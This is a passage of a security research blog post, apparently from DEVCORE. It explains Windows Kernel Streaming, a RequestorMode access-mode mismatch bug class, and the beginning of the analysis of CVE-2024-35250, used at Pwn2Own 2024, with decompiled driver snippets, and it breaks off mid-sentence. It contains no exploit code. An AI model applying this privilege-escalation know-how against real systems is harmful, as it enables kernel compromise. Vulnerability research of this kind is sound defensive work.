href="https://conference.hitb.org/hitbsecconf2023hkt/materials/D2T1%20-%20Windows%20Kernel%20Security%20-%20A%20Deep%20Dive%20into%20Two%20Exploits%20Demonstrated%20at%20Pwn2Own%20-%20Thomas%20Imbert.pdf">Windows Kernel Security - A Deep Dive into Two Exploits Demonstrated at Pwn2Own</a></li> <li><a href="https://big5-sec.github.io/posts/CVE-2023-29360-analysis/">CVE-2023-29360 Analysis</a></li> <li><a href="https://securityintelligence.com/x-force/little-bug-that-could/">Racing Round and Round: The Little Bug That Could</a></li> <li><a href="https://googleprojectzero.blogspot.com/2019/03/windows-kernel-logic-bug-class-access.html">Windows Kernel Logic Bug Class: Access Mode Mismatch in IO Manager</a></li> <li><a href="https://googleprojectzero.blogspot.com/2021/01/hunting-for-bugs-in-windows-mini-filter.html">Hunting for Bugs in Windows Mini-Filter Drivers</a></li> <li><a href="https://msrc.microsoft.com/blog/2019/03/local-privilege-escalation-via-the-windows-i-o-manager-a-variant-finding-collaboration/">Local Privilege Escalation via the Windows I/O Manager: A Variant Finding &amp; Collaboration</a></li> </ul> https://devco.re/blog/2024/08/23/streaming-vulnerabilities-from-windows-kernel-proxying-to-kernel-part1/ https://devco.re/blog/2024/08/23/streaming-vulnerabilities-from-windows-kernel-proxying-to-kernel-part1 Fri, 23 Aug 2024 00:00:00 +0800 Streaming vulnerabilities from Windows Kernel - Proxying to Kernel - Part I <p><a href="/blog/2024/08/23/streaming-vulnerabilities-from-windows-kernel-proxying-to-kernel-part1-en/">English Version</a>, <a href="/blog/2024/08/23/streaming-vulnerabilities-from-windows-kernel-proxying-to-kernel-part1/">中文版本</a></p> <p>Over the past few decades, vulnerabilities in the Windows Kernel have emerged frequently. The popular attack surface has gradually shifted from Win32k to CLFS (Common Log File System). Microsoft has continuously patched these vulnerabilities, making these targets increasingly secure. However, which component might become the next attack target? Last year, MSKSSRV (Microsoft Kernel Streaming Service) became a popular target for hackers. However, this driver is tiny and can be analyzed in just a few days. Does this mean there might not be new vulnerabilities?</p> <p>This research will discuss an overlooked attack surface that allowed us to find more than ten vulnerabilities within two months. Additionally, we will delve into a proxy-based logical vulnerability type that allows us to bypass most validations, enabling us to successfully exploit Windows 11 in Pwn2Own Vancouver 2024.</p> <p>(This research will be divided into several parts, each discussing different bug classes and vulnerabilities. This research was also presented at <a href="https://hitcon.org/2024/CMT/agenda/d6903413-cfba-4b80-a758-af9a257063d0/">HITCON CMT 2024</a>.)</p> <h2 id="start-from-mskssrv">Start from MSKSSRV</h2> <blockquote> <p>For vulnerability research, looking at historical vulnerabilities is indispensable.</p> </blockquote> <p>Initially, we aimed to challenge Windows 11 in Pwn2Own Vancouver 2024. Therefore, we began by reviewing past Pwn2Own events and recent in-the-wild Windows vulnerabilities, searching for potential attack surfaces. Historical trends show that Win32K, primarily responsible for handling GDI-related operations, has always been a popular target, with numerous vulnerabilities still emerging. Since 2018, CLFS (Common Log File System) has also gradually become a popular target. Both components are extremely complex, suggesting that there are likely still many vulnerabilities. However, becoming familiar with these components requires significant time, and many researchers are already examining them. Therefore, we did not choose to analyze them first.</p> <p>Last year, after <a href="https://www.synacktiv.com/en">Synacktiv</a> successfully exploited a <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-29360">vulnerability</a> in MSKSSRV to compromise Windows 11 during Pwn2Own 2023, many researchers began to focus on this component. Shortly thereafter, a second vulnerability ,<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36802">CVE-2023-36802</a>, was discovered. At this time, <a href="https://x.com/chompie1337">chompie</a> also published an <a href="https://securityintelligence.com/x-force/critically-close-to-zero-day-exploiting-microsoft-kernel-streaming-service/">excellent blog post</a> detailing this vulnerability and its exploitation techniques. Given that this component is very small, with a file size of approximately 72 KB, it might only take a few days of careful examination to fully understand it. Therefore, we chose MSKSSRV for historical vulnerability analysis, with the hopeful prospect of identifying other vulnerabilities.</p> <p>We will briefly discuss these two vulnerabilities but not go into much detail.</p> <h3 id="cve-2023-29360---logical-vulnerability">CVE-2023-29360 - logical vulnerability</h3> <p>The first one is the vulnerability used by Synacktiv in Pwn2Own Vancouver 2023.</p> <p><img src="/assets/img/blog/20240823/1.png" alt="" /></p> <p>This is a logical vulnerability in the MSKSSRV driver. When MSKSSRV uses <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-mmprobeandlockpages">MmProbeAndLockPages</a> to lock user-specified memory address as framebuffer, the <code class="language-plaintext highlighter-rouge">AccessMode</code> was not set correctly. This leads to a failure to check whether the user-specified address belongs to the user space. If the user provides a kernel address, it will map the specified kernel address to user space for the user to use. Ultimately, this allows the user to write data to any address in the kernel. The exploitation is simple and very stable, making it become <a href="https://www.cisa.gov/news-events/alerts/2024/02/29/cisa-adds-one-known-exploited-vulnerability-catalog">one of the most popular vulnerabilities</a>.</p> <p>For more details, please refer to <a href="https://conference.hitb.org/hitbsecconf2023hkt/materials/D2T1%20-%20Windows%20Kernel%20Security%20-%20A%20Deep%20Dive%20into%20Two%20Exploits%20Demonstrated%20at%20Pwn2Own%20-%20Thomas%20Imbert.pdf">Synacktiv’s presentation at HITB 2023 HKT</a> and <a href="https://x.com/Big5_sec">Nicolas Zilio(@Big5_sec)</a> ‘s blog <a href="https://big5-sec.github.io/posts/CVE-2023-29360-analysis/">post</a>.</p> <h3 id="cve-2023-36802---type-confusion">CVE-2023-36802 - type confusion</h3> <p>This vulnerability was discovered shortly after CVE-2023-29360 was released. It was already being exploited when Microsoft released their patches. This is a very easily discovered vulnerability. It uses the objects (<code class="language-plaintext highlighter-rouge">FSContextReg</code>, <code class="language-plaintext highlighter-rouge">FSStreamReg</code>) stored in <code class="language-plaintext highlighter-rouge">FILE_OBJECT-&gt;FsContext2</code> for subsequent processing. However, there is no check on the type of <code class="language-plaintext highlighter-rouge">FsContext2</code>, leading to type confusion. For detailed information, you can refer to the <a href="https://securityintelligence.com/x-force/critically-close-to-zero-day-exploiting-microsoft-kernel-streaming-service/">IBM X-Force blog</a>, which provides a very thorough explanation.</p> <p>Since then, there have been very few vulnerabilities related to MSKSSRV. Due to its relatively small size, MSKSSRV is quickly reviewed, and gradually, fewer and fewer people pay attention to it.</p> <h3 id="but-is-that-the-end-of-it-">But is that the end of it ?</h3> <p>However, does this mean there are no more vulnerabilities?</p> <p>In fact, the entire Kernel Streaming looks like the diagram below:</p> <p><img src="/assets/img/blog/20240823/2.png" alt="" /></p> <p>MSKSSRV is just the tip of the iceberg. In fact, there are many other potential components, and those listed in the diagram above are all part of Kernel Streaming. After delving into this attack surface, numerous vulnerabilities were eventually discovered, flowing like a stream.</p> <p><img src="/assets/img/blog/20240823/cover.png" alt="" /></p> <p>By the way, while I was writing this blog, chompie also <a href="https://securityintelligence.com/x-force/little-bug-that-could">published</a> about the vulnerability she used in this year’s Pwn2Own Vancouver 2024, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-30089">CVE-2024-30089</a>, which is also a vulnerability in MSKSSRV. The vulnerability lies in handling the reference count, requiring a lot of attention and thought to discover. It is also quite interesting, but I won’t discuss it here. I highly recommend reading <a href="https://securityintelligence.com/x-force/little-bug-that-could">this one</a>.</p> <h2 id="brief-overview-of-kernel-streaming">Brief overview of Kernel Streaming</h2> <p>So, what is Kernel Streaming? In fact, we use it very frequently.</p> <p><img src="/assets/img/blog/20240823/4.png" alt="" /></p> <p>On Windows systems, when we open the webcam, enable sound, and activate audio devices such as microphones, the system needs to write or read related data such as your voice and captured images from your devices into RAM. It is essential to read data into your computer more efficiently during this process. Microsoft provides a framework called <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/stream/kernel-streaming">Kernel Streaming</a> to handle these data, which <strong>primarily operates in kernel mode</strong>. It features low latency, excellent scalability, and a unified interface, making handling streaming data more convenient and efficient.</p> <p>In Microsoft’s Kernel Streaming, three multimedia class driver models are provided: port class, AVStream, and stream class. We will briefly introduce port class and AVStream, as stream class is less common and more outdated and will not be discussed here.</p> <h3 id="port-class"><a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/audio/introduction-to-port-class">Port class</a></h3> <p>This type of driver is mostly used for PCI and DMA-based audio device hardware drivers. Currently, most audio-related processing, such as volume control or microphone-related processing, falls into this category. The main component library used would be <code class="language-plaintext highlighter-rouge">portcls.sys</code>.</p> <p><img src="/assets/img/blog/20240823/5.png" alt="" /></p> <h3 id="avstream"><a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/stream/avstream-overview">AVStream</a></h3> <p>AVStream is a multimedia driver provided by Microsoft that primarily supports video-only and integrated audio/video streaming. Currently, most video-related processing, such as your webcam, capture card, etc., is associated with this category.</p> <p><img src="/assets/img/blog/20240823/6.png" alt="" /></p> <p>In fact, the use of Kernel Streaming is also very complex. We will only provide a brief description. For more detailed information, please refer to <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/stream/">Microsoft Learn</a>.</p> <h2 id="interact-with-device">Interact with device</h2> <p>When we want to interact with audio devices or webcams, we need to open the device just like with any other device. Essentially, it interacts with the device driver in the same way. So, what would the names of these types of devices be? These names are not typically like <code class="language-plaintext highlighter-rouge">\Device\NamedPipe</code>, but rather something like the following:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>\\?\hdaudio#subfunc_01&amp;ven_8086&amp;dev_2812&amp;nid_0001&amp;subsys_00000000&amp;rev_1000#6&amp;2f1f346a&amp;0&amp;0002&amp;0000001d#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\ehdmiouttopo </code></pre></div></div> <h3 id="enumerate-device">Enumerate device</h3> <p>Here you can use APIs such as <a href="https://learn.microsoft.com/zh-tw/windows/win32/api/setupapi/nf-setupapi-setupdigetclassdevsw">SetupDiGetClassDevs</a> to enumerate devices. Generally, KS series devices are registered under <code class="language-plaintext highlighter-rouge">KSCATEGORY*</code>, such as audio devices which are registered under <a href="https://learn.microsoft.com/zh-tw/windows-hardware/drivers/install/kscategory-audio">KSCATEGORY_AUDIO</a>.</p> <p>Additionally, you can use the APIs provided by KS, such as <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ksproxy/nf-ksproxy-ksopendefaultdevice">KsOpenDefaultDevice</a>, to obtain the <code class="language-plaintext highlighter-rouge">handle</code> of the first matching PnP device in that category. Actually, it is just a wrapper around <code class="language-plaintext highlighter-rouge">SetupDiGetClassDevs</code> and <code class="language-plaintext highlighter-rouge">CreateFile</code>.</p> <div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">hr</span> <span class="o">=</span> <span class="n">KsOpenDefaultDevice</span><span class="p">(</span><span class="n">KSCATEGORY_VIDEO_CAMERA</span><span class="p">,</span><span class="n">GENERIC_READ</span><span class="o">|</span><span class="n">GENERIC_WRITE</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">g_hDevice</span><span class="p">)</span> </code></pre></div></div> <h3 id="kernel-streaming-object">Kernel Streaming object</h3> <p>After we open these devices, Kernel Streaming will create some Kernel Streaming related instances, the most important of which are <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/stream/ks-filters">KS Filters</a> and <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/stream/ks-pins">KS Pins</a>.</p> <p>These will be used during the Kernel Streaming process. We will only provide a brief introduction here. We will use <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/audio/audio-filters">audio filters</a> as an example, as most others are quite similar.</p> <h4 id="ks-filters">KS filters</h4> <p>Each KS Filter typically represents a device or a specific function of a device. When we open an audio device, it usually corresponds to a KS filter object. When we read data from the audio device, this data is first processed through this KS Filter.</p> <p>Conceptually, as shown in the diagram below, the large box in the middle represents a KS filter for the audio device. When we want to read data from the audio device, it is read into the filter from the left, processed through several nodes, and then output from the right.</p> <p><img src="/assets/img/blog/20240823/7.png" alt="" /> (From: https://learn.microsoft.com/en-us/windows-hardware/drivers/audio/audio-filters)</p> <h4 id="ks-pins">KS pins</h4> <p>In the figure above, the points for reading and outputting data are called pins. The kernel also has corresponding KS pin Objects to describe the Pins, recording whether the Pin is a sink or a source, the data format for input and output, and so on. When we use it, we must <a href="https://learn.microsoft.com/zh-tw/windows-hardware/drivers/ddi/ks/nf-ks-kscreatepin">open a pin</a> on the filters to create an instance to read from or write to the device.</p> <h3 id="ks-property">KS property</h3> <p>Each of these KS objects will have its own property, and each property corresponds to a specific feature. For instance, the data format mentioned earlier in the Pin, the volume level, and the status of the device are all properties. These properties typically correspond to a set of GUIDs. We can set these properties through <a href="https://learn.microsoft.com/zh-tw/windows-hardware/drivers/ddi/ks/ni-ks-ioctl_ks_property">IOCTL_KS_PROPERTY</a>.</p> <p>This greatly simplifies the development of multimedia drivers and ensures consistency and scalability across different devices.</p> <h3 id="read-streams-from-webcam">Read streams from webcam</h3> <p>Here is a simple example illustrating how an application can read data from a webcam.</p> <p><img src="/assets/img/blog/20240823/8.png" alt="" /></p> <p>The most basic flow is roughly shown in this diagram:</p> <ol> <li>Open the device to obtain the device handle.</li> <li>Use this device handle to create an instance of the Pin on this filter and obtain the Pin handle.</li> <li>Use <code class="language-plaintext highlighter-rouge">IOCTL_KS_PROPERTY</code> to set the device state of the Pin to RUN.</li> <li>Finally, you can use <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ks/ni-ks-ioctl_ks_read_stream">IOCTL_KS_READ_STREAM</a> to read data from this Pin.</li> </ol> <h2 id="kernel-streaming-architecture">Kernel Streaming architecture</h2> <blockquote> <p>For vulnerability research, we must first understand its architecture and consider the potential attack surfaces.</p> </blockquote> <p>After gaining a preliminary understanding of the functionalities and operations of Kernel Streaming, we need to understand the architecture to find vulnerabilities. It’s crucial to know how Windows implements these functions and what components are involved. This way, we can identify which sys files to analyze and where to start.</p> <p>After our analysis, the overall architecture looks approximately like this diagram:</p> <p><img src="/assets/img/blog/20240823/9.png" alt="" /></p> <p>In the Kernel Streaming components, the most important ones are <code class="language-plaintext highlighter-rouge">ksthunk.sys</code> and <code class="language-plaintext highlighter-rouge">ks.sys</code>. Almost all functionalities are related to them.</p> <h3 id="ksthunk-kernel-streaming-wow-thunk-service-driver">ksthunk (Kernel Streaming WOW Thunk Service Driver)</h3> <p><code class="language-plaintext highlighter-rouge">ksthunk.sys</code> is the entry point in Kernel Streaming. Its function is quite simple: it converts 32-bit requests from the WoW64 process into 64-bit requests, allowing the underlying driver to handle the requests without additional processing for 32-bit structures.</p> <h3 id="ks-kernel-connection-and-streaming-architecture-library">ks (Kernel Connection and Streaming Architecture Library)</h3> <p><code class="language-plaintext highlighter-rouge">ks.sys</code> is one of the <strong>core components of Kernel Streaming</strong>. It is the library of Kernel Streaming responsible for forwarding requests such as <code class="language-plaintext highlighter-rouge">IOCTL_KS_PROPERTY</code> to the corresponding device driver, and it also handles functions related to AVStream.</p> <h3 id="the-work-flow-of-ioctl_ks_">The work flow of IOCTL_KS_*</h3> <p><code class="language-plaintext highlighter-rouge">IOCTL_KS_PROPERTY</code> will be used as an example here. When calling <code class="language-plaintext highlighter-rouge">DeviceIoControl</code>, as shown in the figure below, the user’s request will be sequentially passed to the corresponding driver for processing.</p> <p><img src="/assets/img/blog/20240823/10.png" alt="" /></p> <p>At step 6, <code class="language-plaintext highlighter-rouge">ks.sys</code> will determine which driver and handler to hand over your request based on the <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/stream/ksproperty-structure">KSPROPERTY</a> you requested.</p> <p><img src="/assets/img/blog/20240823/11.png" alt="" /></p> <p>Finally, forward it to the corresponding driver, as shown in the figure above, where it is ultimately forwarded to the handler in <code class="language-plaintext highlighter-rouge">portcls</code> to operate the audio device.</p> <p>You should now have a preliminary understanding of the architecture and process of Kernel Streaming. Next, it’s time to look for vulnerabilities.</p> <p>Based on the existing elements, which attack surfaces are worth examining?</p> <h3 id="from-attackers-view">From attacker’s view</h3> <blockquote> <p> Before digging for vulnerabilities, if you can carefully consider under what circumstances they are likely to occur, you can achieve twice the result with half the effort.</p> </blockquote> <p>From a vulnerability researcher’s perspective, there are a few key points to consider:</p> <h4 id="1-property-handler-in-each-device">1. Property handler in each device</h4> <p>KS object for each device has its own properties, and each property has its own handler. Some properties are prone to issues during handling.</p> <h4 id="2-ks-and-ksthunk">2. ks and ksthunk</h4> <p><code class="language-plaintext highlighter-rouge">ks</code> and <code class="language-plaintext highlighter-rouge">ksthunk</code> have not had vulnerabilities for a long time, but they are the most accessible entry points and might be good targets. The last vulnerabilities(<a href="https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2020-16889">CVE-2020-16889</a> and <a href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-17045">CVE-2020-17045</a>) were found in 2020 by <a href="https://x.com/nghiadt1098">@nghiadt1098</a>.</p> <h4 id="3-each-driver-handles-a-part-of-the-content">3. Each driver handles a part of the content</h4> <p>In some functionalities of Kernel Streaming, certain drivers handle parts of the input individually, which may lead to inconsistencies.</p> <p>After reviewing Kernel Streaming from the above perspectives, we quickly identified several relatively easy-to-discover vulnerabilities.</p> <ul> <li>portcls.sys <ul> <li>CVE-2024-38055 (out-of-bounds read when set dataformat for Pin)</li> <li>CVE-2024-38056</li> </ul> </li> <li>ksthunk <ul> <li>CVE-2024-38054 (out-of-bounds write)</li> <li>CVE-2024-38057</li> </ul> </li> </ul> <p>However, we will not be explaining these vulnerabilities one by one. Most of these are obvious issues such as unchecked length or index leading to out-of-bounds access. <a href="https://x.com/Fr0st1706">@Fr0st1706</a> also wrote an <a href="https://github.com/Black-Frost/windows-learning/tree/main/CVE-2024-38054">exploit for CVE-2024-38054</a> recently. We might slowly explain these in subsequent parts in the future. We will leave this for the readers to study for now.</p> <p>During the review process, we discovered some interesting things. Do you think the following code snippet is really fine?</p> <pre><code class="language-cpp=">__int64 __fastcall CKSThunkDevice::CheckIrpForStackAdjustmentNative(__int64 a1, struct _IRP *irp, __int64 a3, int *a4) { if ( irp-&gt;RequestorMode ) { v14 = 0xC0000010; } else { UserBuffer = (unsigned int *)irp-&gt;UserBuffer; ... v14 = (*(__int64 (__fastcall **)(_QWORD, _QWORD, __int64 *)) (Type3InputBuffer + 0x38))(// call Type3InputBuffer+0x38 *UserBuffer, 0LL, v19); } } </code></pre> <p>Seeing this code reminds me of <a href="https://decoded.avast.io/janvojtesek/lazarus-and-the-fudmodule-rootkit-beyond-byovd-with-an-admin-to-kernel-zero-day/">CVE-2024-21338</a>. Initially, the vulnerability had no checks, but after patching, <a href="https://learn.microsoft.com/zh-tw/windows-hardware/drivers/ddi/wdm/nf-wdm-exgetpreviousmode">ExGetPreviousMode</a> was added. However, the check here uses the <code class="language-plaintext highlighter-rouge">RequestorMode</code> in <a href="https://learn.microsoft.com/zh-tw/windows-hardware/drivers/ddi/wdm/ns-wdm-_irp">IRP</a> for validation. Generally, the <code class="language-plaintext highlighter-rouge">RequestorMode</code> from a user-called IOCTL will be <code class="language-plaintext highlighter-rouge">UserMode(1)</code>, so there shouldn’t be any issues.</p> <p>At this point, I also recall <a href="https://x.com/tiraniddo">James Forshaw</a>’s article <a href="https://googleprojectzero.blogspot.com/2019/03/windows-kernel-logic-bug-class-access.html">Windows Kernel Logic Bug Class: Access Mode Mismatch in IO Manager</a>.</p> <h2 id="the-overlooked-bug-class">The overlooked bug class</h2> <p>First, we need to mention a few terms and concepts. If you are already familiar with <code class="language-plaintext highlighter-rouge">Previous Mode</code> and <code class="language-plaintext highlighter-rouge">RequestorMode</code>, you can skip to <a href="#A-logical-bug-class">A logical bug class</a> section.</p> <h3 id="previousmode">PreviousMode</h3> <p>The first one is <code class="language-plaintext highlighter-rouge">PreviousMode</code>. In an Application, if a user operates on a device or file through <code class="language-plaintext highlighter-rouge">Nt*</code> System Service Call, upon entering the kernel, it will be marked as <code class="language-plaintext highlighter-rouge">UserMode(1)</code> in <a href="https://learn.microsoft.com/zh-tw/windows-hardware/drivers/kernel/eprocess#ethread">_ETHREAD</a>’s <code class="language-plaintext highlighter-rouge">PreviousMode</code>, indicating that this System Service Call is from the user. Conversely, if it is called from kernel mode, such as a device driver invoking the <code class="language-plaintext highlighter-rouge">Zw*</code> System Service Call, it will be marked as <code class="language-plaintext highlighter-rouge">KernelMode(0)</code>.</p> <p><img src="/assets/img/blog/20240823/12.png" alt="" /></p> <h3 id="requestormode">RequestorMode</h3> <p>Another similar field is the <code class="language-plaintext highlighter-rouge">RequestorMode</code> in the IRP. This field records whether your original request came from <code class="language-plaintext highlighter-rouge">UserMode</code> or <code class="language-plaintext highlighter-rouge">KernelMode</code>. In kernel driver code, this is a very commonly used field, typically derived from <code class="language-plaintext highlighter-rouge">PreviousMode</code>.</p> <p>It is often used to decide whether to perform additional checks on user requests, such as Memory Access Check or Security Access Check. In the example below, if the request comes from <code class="language-plaintext highlighter-rouge">UserMode</code>, it will check the user-provided address. If it comes from the Kernel, no additional checks are performed to increase efficiency.</p> <p><img src="/assets/img/blog/20240823/13.png" alt="" /></p> <p>But in reality, this has also led to some issues.</p> <h3 id="a-logical-bug-class">A logical bug class</h3> <p><a href="https://x.com/tiraniddo">James Forshaw</a>’s <a href="https://googleprojectzero.blogspot.com/2019/03/windows-kernel-logic-bug-class-access.html">Windows Kernel Logic Bug Class: Access Mode Mismatch in IO Manager</a> mentions a type of Bug Class.</p> <p>What would happen if a user calls a System Service Call like <code class="language-plaintext highlighter-rouge">NtDeviceIoControlFile</code>, and then the driver handling it uses user-controllable data as parameters for <code class="language-plaintext highlighter-rouge">ZwOpenFile</code>?</p> <p><img src="/assets/img/blog/20240823/14.png" alt="" /></p> <p>After the driver calls <code class="language-plaintext highlighter-rouge">ZwOpenFile</code>, <code class="language-plaintext highlighter-rouge">PreviousMode</code> will switch to <code class="language-plaintext highlighter-rouge">KernelMode</code>, and when it uses <code class="language-plaintext highlighter-rouge">NtOpenFile</code> processing, most checks will be skipped due to <code class="language-plaintext highlighter-rouge">PreviousMode</code> being <code class="language-plaintext highlighter-rouge">KernelMode</code>. Subsequently, <code class="language-plaintext highlighter-rouge">Irp-&gt;RequestorMode</code> will become <code class="language-plaintext highlighter-rouge">KernelMode</code>, bypassing the Security Access Check and Memory Access Check. However, this largely depends on how the subsequent driver implements these checks. There might be issues if it relies solely on <code class="language-plaintext highlighter-rouge">RequestorMode</code> to decide whether to perform checks The actual situation is slightly more complex and related to the flags of <code class="language-plaintext highlighter-rouge">CreateFile</code>. For details, refer to the following articles:</p> <ul> <li><a href="https://googleprojectzero.blogspot.com/2019/03/windows-kernel-logic-bug-class-access.html">Windows Kernel Logic Bug Class: Access Mode Mismatch in IO Manager</a></li> <li><a href="https://googleprojectzero.blogspot.com/2021/01/hunting-for-bugs-in-windows-mini-filter.html">Hunting for Bugs in Windows Mini-Filter Drivers</a></li> <li><a href="https://msrc.microsoft.com/blog/2019/03/local-privilege-escalation-via-the-windows-i-o-manager-a-variant-finding-collaboration/">Local privilege escalation via the Windows I/O Manager: a variant finding collaboration</a></li> </ul> <p>These studies mainly focused on the <code class="language-plaintext highlighter-rouge">Zw*</code> series of System Service Call. Are there other similar situations that could also cause this kind of logical vulnerability?</p> <h4 id="the-new-bug-pattern">The new bug pattern</h4> <p>Actually, it is possible. When the device driver uses <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-iobuilddeviceiocontrolrequest">IoBuildDeviceIoControlRequest</a> to create a <code class="language-plaintext highlighter-rouge">DeviceIoControl</code> IRP, it is easy to encounter such issues if not careful. This API is primarily used by kernel drivers to call IOCTL, and it helps you build the IRP. Subsequently, calling <code class="language-plaintext highlighter-rouge">IofCallDriver</code> allows you to call IOCTL within the kernel driver. On <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-iobuilddeviceiocontrolrequest#remarks">Microsoft Learn</a>, there is a particular passage worth noting.</p> <p><img src="/assets/img/blog/20240823/15.png" alt="" /></p> <p>By default, if you do not explicitly set the <strong><code class="language-plaintext highlighter-rouge">RequestorMode</code></strong>, it will directly call IOCTL with <code class="language-plaintext highlighter-rouge">KernelMode</code>.</p> <p><img src="/assets/img/blog/20240823/16.png" alt="" /></p> <p>Following this approach, we revisited Kernel Streaming and discovered an intriguing aspect.</p> <p><img src="/assets/img/blog/20240823/17.png" alt="" /></p> <p>The function where <code class="language-plaintext highlighter-rouge">IoBuildDeviceIoControlRequest</code> is used in Kernel Streaming is in <code class="language-plaintext highlighter-rouge">ks!KsSynchronousIoControlDevice</code> and it obviously involves calling IOCTL in the kernel using the aforementioned method. However, it appears that <code class="language-plaintext highlighter-rouge">Irp-&gt;RequestorMode</code> is properly set here, and different values are assigned based on the parameters of <code class="language-plaintext highlighter-rouge">KsSynchronousIoControlDevice</code>. This will be a convenient library for kernel streaming driver developers.</p> <p>However…</p> <p>ks!CKsPin::GetState <img src="/assets/img/blog/20240823/18.png" alt="" /></p> <p>ks!SerializePropertySet <img src="/assets/img/blog/20240823/19.png" alt="" /></p> <p>ks!UnserializePropertySet <img src="/assets/img/blog/20240823/20.png" alt="" /></p> <p>We found that in Kernel Streaming, all functions using <code class="language-plaintext highlighter-rouge">KsSynchronousIoControlDevice</code> consistently use <strong><code class="language-plaintext highlighter-rouge">KernelMode(0)</code></strong>. At this point, we can carefully inspect whether the places it is used have any security issues. Therefore, we convert the bug pattern in Kernel Streaming into the following points:</p> <ol> <li>Utilized <code class="language-plaintext highlighter-rouge">KsSynchronousIoControlDevice</code></li> <li>Controllable InputBuffer &amp; OutputBuffer</li> <li>The second processing of IOCTL relies on <strong>RequestorMode</strong> for security checks <img src="/assets/img/blog/20240823/21.png" alt="" /></li> </ol> <p>Following this pattern, we quickly found the first vulnerability.</p> <h2 id="the-vulnerability--exploitation">The vulnerability &amp; exploitation</h2> <h3 id="cve-2024-35250">CVE-2024-35250</h3> <p>This vulnerability is also the one we used in <a href="https://x.com/thezdi/status/1770517322203070674">Pwn2Own Vancouver 2024</a>. In the <code class="language-plaintext highlighter-rouge">IOCTL_KS_PROPERTY</code> of Kernel Streaming, to increase efficiency, <code class="language-plaintext highlighter-rouge">KSPROPERTY_TYPE_SERIALIZESET</code> and <code class="language-plaintext highlighter-rouge">KSPROPERTY_TYPE_UNSERIALIZESET</code> requests are provided to allow users to operate on multiple properties through a single call. These types of requests will be broken down into multiple calls by the <code class="language-plaintext highlighter-rouge">KsPropertyHandler</code>. For more details, refer to <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/stream/ksproperty-structure#remarks">this one</a>.</p> <p>It is implemented in <code class="language-plaintext highlighter-rouge">ks.sys</code></p> <p><img src="/assets/img/blog/20240823/22.png" alt="" /></p> <p>When handling property in <code class="language-plaintext highlighter-rouge">ks.sys</code>, if the <code class="language-plaintext highlighter-rouge">KSPROPERTY_TYPE_UNSERIALIZESET</code> flag is provided, <code class="language-plaintext highlighter-rouge">ks!UnserializePropertySet</code> will handle your request.</p> <p>Let’s take a look at <code class="language-plaintext highlighter-rouge">UnserializePropertySet</code>.</p> <div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">unsigned</span> <span class="n">__int64</span> <span class="kr">__fastcall</span> <span class="nf">UnserializePropertySet</span><span class="p">(</span> <span class="n">PIRP</span> <span class="n">irp</span><span class="p">,</span> <span class="n">KSIDENTIFIER</span><span class="o">*</span> <span class="n">UserProvideProperty</span><span class="p">,</span> <span class="n">KSPROPERTY_SET</span><span class="o">*</span> <span class="n">propertyset_</span><span class="p">)</span> <span class="p">{</span> <span class="p">...</span> <span class="n">New_KsProperty_req</span> <span class="o">=</span> <span class="n">ExAllocatePoolWithTag</span><span class="p">(</span><span class="n">NonPagedPoolNx</span><span class="p">,</span> <span class="n">InSize</span><span class="p">,</span> <span class="mh">0x7070534Bu</span><span class="p">);</span> <span class="p">...</span> <span class="n">memmove</span><span class="p">(</span><span class="n">New_KsProperty_req</span><span class="p">,</span> <span class="n">CurrentStackLocation</span><span class="o">-&gt;</span><span class="n">Parameters</span><span class="p">.</span><span class="n">DeviceIoControl</span><span class="p">.</span><span class="n">Type3InputBuffer</span><span class="p">,</span> <span class="n">InSize</span><span class="p">);</span> <span class="c1">//------[1] </span> <span class="p">...</span> <span class="n">status</span> <span class="o">=</span> <span class="n">KsSynchronousIoControlDevice</span><span class="p">(</span> <span class="n">CurrentStackLocation</span><span class="o">-&gt;</span><span class="n">FileObject</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">CurrentStackLocation</span><span class="o">-&gt;</span><span class="n">Parameters</span><span class="p">.</span><span class="n">DeviceIoControl</span><span class="p">.</span><span class="n">IoControlCode</span><span class="p">,</span> <span class="n">New_KsProperty_req</span><span class="p">,</span> <span class="n">InSize</span><span class="p">,</span> <span class="n">OutBuffer</span><span class="p">,</span> <span class="n">OutSize</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">BytesReturned</span><span class="p">);</span> <span class="c1">//-----------[2]</span> <span class="p">...</span> <span class="p">}</span> </code></pre></div></div> <p>You can see that during the processing, the original request is first copied into a newly allocated buffer at [1]. Subsequently, this buffer is used to call the new IOCTL using <code class="language-plaintext highlighter-rouge">KsSynchronousIoControlDevice</code> at [2]. Both <code class="language-plaintext highlighter-rouge">New_KsProperty_req</code> and <code class="language-plaintext highlighter-rouge">OutBuffer</code> are contents provided by the user.</p> <p>The flow when calling <code class="language-plaintext highlighter-rouge">UnserializePropertySet</code> is roughly as illustrated below:</p> <p><img src="/assets/img/blog/20240823/23.png" alt="" /></p> <p>When calling IOCTL, as shown in <code class="language-plaintext highlighter-rouge">step 2</code> of the diagram, the I/O Manager will set <code class="language-plaintext highlighter-rouge">Irp-&gt;RequestorMode</code> to <code class="language-plaintext highlighter-rouge">UserMode(1)</code>. Until step 6, it will check if the requested property by the user exists in the KS object. If the 